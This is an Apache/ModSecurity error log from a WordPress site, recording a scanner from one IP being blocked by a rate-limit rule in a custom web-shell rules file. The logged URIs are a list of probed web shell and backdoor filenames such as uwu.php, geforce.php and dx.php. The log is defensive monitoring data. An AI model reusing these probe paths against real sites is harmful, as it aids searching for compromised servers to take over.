[Tue May 19 01:59:21.497678 2026] [:error] [pid 44046:tid 44071] [client 4.228.184.113:55412] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtTeYYF4k2jfXJBXk0RaQAAAZc"]
[Tue May 19 01:59:22.568047 2026] [:error] [pid 36579:tid 36590] [client 4.228.184.113:28878] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTel-aoZxBfgL5vDy1oAAAAEg"]
[Tue May 19 01:59:23.623299 2026] [:error] [pid 44046:tid 44056] [client 4.228.184.113:21459] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTe4YF4k2jfXJBXk0RbQAAAYg"]
[Tue May 19 01:59:24.725563 2026] [:error] [pid 44046:tid 44068] [client 4.228.184.113:40795] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTfIYF4k2jfXJBXk0RbgAAAZQ"]
[Tue May 19 01:59:25.509727 2026] [:error] [pid 36493:tid 36564] [client 4.228.184.113:9755] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/"] [unique_id "agtTfQynkzQB5nM668rk7wAAAQ8"]
[Tue May 19 01:59:26.521186 2026] [:error] [pid 44046:tid 44058] [client 4.228.184.113:62322] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "agtTfoYF4k2jfXJBXk0RcgAAAYo"]
[Tue May 19 01:59:27.501290 2026] [:error] [pid 36579:tid 36601] [client 4.228.184.113:49325] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "agtTf1-aoZxBfgL5vDy1qQAAAFM"]
[Tue May 19 01:59:28.438627 2026] [:error] [pid 44010:tid 44024] [client 4.228.184.113:22130] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "agtTgDcFUuogD3-74-aNpgAAAMw"]
[Tue May 19 01:59:29.863527 2026] [:error] [pid 36492:tid 36524] [client 4.228.184.113:62299] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "agtTgWCVlogrkn9m2w4p2wAAAAI"]
[Tue May 19 01:59:30.850736 2026] [:error] [pid 36493:tid 36557] [client 4.228.184.113:65338] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwa.php"] [unique_id "agtTggynkzQB5nM668rk9AAAAQg"]
[Tue May 19 01:59:31.850216 2026] [:error] [pid 36579:tid 36584] [client 4.228.184.113:15050] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwa.php"] [unique_id "agtTg1-aoZxBfgL5vDy1rAAAAEI"]
[Tue May 19 01:59:32.728777 2026] [:error] [pid 36492:tid 36545] [client 4.228.184.113:1429] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwa.php"] [unique_id "agtThGCVlogrkn9m2w4p3gAAABc"]
[Tue May 19 01:59:33.532679 2026] [:error] [pid 36491:tid 36496] [client 4.228.184.113:38334] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwa.php"] [unique_id "agtThU555B9CZb6D60n9jQAAAUE"]
[Tue May 19 01:59:34.398424 2026] [:error] [pid 44087:tid 44108] [client 4.228.184.113:10709] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/crgio.php"] [unique_id "agtThm5HPHbH9GK7l6wO6AAAAdM"]
[Tue May 19 01:59:35.300428 2026] [:error] [pid 44046:tid 44063] [client 4.228.184.113:22130] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/crgio.php"] [unique_id "agtTh4YF4k2jfXJBXk0ReQAAAY8"]
[Tue May 19 01:59:36.718822 2026] [:error] [pid 36579:tid 36601] [client 4.228.184.113:64149] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/crgio.php"] [unique_id "agtTiF-aoZxBfgL5vDy1twAAAFM"]
[Tue May 19 01:59:37.690376 2026] [:error] [pid 36492:tid 36536] [client 4.228.184.113:32391] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/crgio.php"] [unique_id "agtTiWCVlogrkn9m2w4p4wAAAA4"]
[Tue May 19 01:59:38.788312 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:65319] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geforce.php"] [unique_id "agtTimCVlogrkn9m2w4p5gAAAAo"]
[Tue May 19 01:59:39.689875 2026] [:error] [pid 44010:tid 44029] [client 4.228.184.113:1626] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geforce.php"] [unique_id "agtTizcFUuogD3-74-aNrwAAANE"]
[Tue May 19 01:59:40.694640 2026] [:error] [pid 36492:tid 36522] [client 4.228.184.113:5120] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geforce.php"] [unique_id "agtTjGCVlogrkn9m2w4p5wAAAAA"]
[Tue May 19 01:59:41.771931 2026] [:error] [pid 43916:tid 43927] [client 4.228.184.113:53859] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geforce.php"] [unique_id "agtTjdQC236p33zJJvneZwAAAIM"]
[Tue May 19 01:59:42.857714 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:1613] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "agtTjk555B9CZb6D60n9kgAAAU0"]
[Tue May 19 01:59:44.590930 2026] [:error] [pid 36492:tid 36541] [client 4.228.184.113:16611] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "agtTkGCVlogrkn9m2w4p7gAAABM"]
[Tue May 19 01:59:45.784717 2026] [:error] [pid 36492:tid 36530] [client 4.228.184.113:22099] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "agtTkWCVlogrkn9m2w4p7wAAAAg"]
[Tue May 19 01:59:47.408435 2026] [:error] [pid 36492:tid 36522] [client 4.228.184.113:5148] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "agtTk2CVlogrkn9m2w4p9gAAAAA"]
[Tue May 19 01:59:49.027683 2026] [:error] [pid 36492:tid 36528] [client 4.228.184.113:64424] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtTlWCVlogrkn9m2w4p-gAAAAY"]
[Tue May 19 01:59:50.054925 2026] [:error] [pid 43916:tid 43936] [client 4.228.184.113:13385] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtTltQC236p33zJJvneaQAAAIw"]
[Tue May 19 01:59:52.179221 2026] [:error] [pid 36493:tid 36568] [client 4.228.184.113:38273] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtTmAynkzQB5nM668rlBQAAARM"]
[Tue May 19 01:59:53.975279 2026] [:error] [pid 43916:tid 43945] [client 4.228.184.113:64440] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "agtTmdQC236p33zJJvnebwAAAJU"]
[Tue May 19 01:59:56.209767 2026] [:error] [pid 36493:tid 36551] [client 4.228.184.113:13404] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/UsbXax.php"] [unique_id "agtTnAynkzQB5nM668rlCgAAAQI"]
[Tue May 19 01:59:57.768499 2026] [:error] [pid 44046:tid 44048] [client 4.228.184.113:14698] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/UsbXax.php"] [unique_id "agtTnYYF4k2jfXJBXk0RigAAAYA"]
[Tue May 19 02:00:08.248698 2026] [autoindex:error] [pid 36491:tid 36508] [client 4.228.184.113:19149] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:00:12.063767 2026] [autoindex:error] [pid 36491:tid 36516] [client 4.228.184.113:19149] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:00:19.852460 2026] [autoindex:error] [pid 36491:tid 36512] [client 4.228.184.113:19149] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/buttons/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:00:24.292087 2026] [autoindex:error] [pid 36491:tid 36514] [client 4.228.184.113:19149] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:00:26.398573 2026] [:error] [pid 36491:tid 36504] [client 4.228.184.113:19149] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "agtTuk555B9CZb6D60n94gAAAUk"]
[Tue May 19 02:00:27.355040 2026] [:error] [pid 36493:tid 36572] [client 4.228.184.113:18630] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "agtTuwynkzQB5nM668rlEgAAARc"]
[Tue May 19 02:00:28.694560 2026] [:error] [pid 36492:tid 36532] [client 4.228.184.113:18672] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "agtTvGCVlogrkn9m2w4qLgAAAAo"]
[Tue May 19 02:00:29.859148 2026] [:error] [pid 44010:tid 44021] [client 4.228.184.113:39601] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/puc.php"] [unique_id "agtTvTcFUuogD3-74-aNywAAAMk"]
[Tue May 19 02:00:31.326650 2026] [:error] [pid 44087:tid 44096] [client 4.228.184.113:4812] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "agtTv25HPHbH9GK7l6wPBwAAAcc"]
[Tue May 19 02:00:33.181083 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:23634] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "agtTwU555B9CZb6D60n94wAAAU0"]
[Tue May 19 02:00:34.161328 2026] [:error] [pid 36493:tid 36567] [client 4.228.184.113:50602] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "agtTwgynkzQB5nM668rlFAAAARI"]
[Tue May 19 02:00:35.725389 2026] [:error] [pid 44087:tid 44104] [client 4.228.184.113:20157] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "agtTw25HPHbH9GK7l6wPCgAAAc8"]
[Tue May 19 02:00:37.535587 2026] [:error] [pid 44010:tid 44026] [client 4.228.184.113:50612] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "agtTxTcFUuogD3-74-aNzwAAAM4"]
[Tue May 19 02:00:38.273600 2026] [:error] [pid 44010:tid 44034] [client 4.228.184.113:31777] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "agtTxjcFUuogD3-74-aN0AAAANY"]
[Tue May 19 02:00:54.103371 2026] [:error] [pid 36493:tid 36573] [client 4.228.184.113:31805] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "agtT1gynkzQB5nM668rlGwAAARg"]
[Tue May 19 02:00:55.504166 2026] [:error] [pid 44087:tid 44110] [client 4.228.184.113:3508] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "agtT125HPHbH9GK7l6wPGQAAAdU"]
[Tue May 19 02:00:56.893435 2026] [:error] [pid 36493:tid 36572] [client 4.228.184.113:18678] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "agtT2AynkzQB5nM668rlIQAAARc"]
[Tue May 19 02:00:58.197150 2026] [:error] [pid 44010:tid 44031] [client 4.228.184.113:3490] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awa.php"] [unique_id "agtT2jcFUuogD3-74-aN1gAAANM"]
[Tue May 19 02:00:59.576034 2026] [:error] [pid 44010:tid 44019] [client 4.228.184.113:50613] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "agtT2zcFUuogD3-74-aN2wAAAMc"]
[Tue May 19 02:01:00.839962 2026] [:error] [pid 36491:tid 36496] [client 4.228.184.113:48785] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "agtT3E555B9CZb6D60n-BgAAAUE"]
[Tue May 19 02:01:02.476880 2026] [:error] [pid 36579:tid 36582] [client 4.228.184.113:48813] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "agtT3l-aoZxBfgL5vDy11gAAAEA"]
[Tue May 19 02:01:04.379712 2026] [:error] [pid 36492:tid 36536] [client 4.228.184.113:7712] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "agtT4GCVlogrkn9m2w4qNQAAAA4"]
[Tue May 19 02:01:05.762153 2026] [:error] [pid 36491:tid 36508] [client 4.228.184.113:7716] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "agtT4U555B9CZb6D60n-DQAAAU0"]
[Tue May 19 02:01:06.824791 2026] [:error] [pid 44046:tid 44061] [client 4.228.184.113:26785] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "agtT4oYF4k2jfXJBXk0RnAAAAY0"]
[Tue May 19 02:01:08.698544 2026] [:error] [pid 36493:tid 36573] [client 4.228.184.113:63122] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "agtT5AynkzQB5nM668rlKgAAARg"]
[Tue May 19 02:01:09.750488 2026] [:error] [pid 36492:tid 36538] [client 4.228.184.113:48478] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "agtT5WCVlogrkn9m2w4qNgAAABA"]
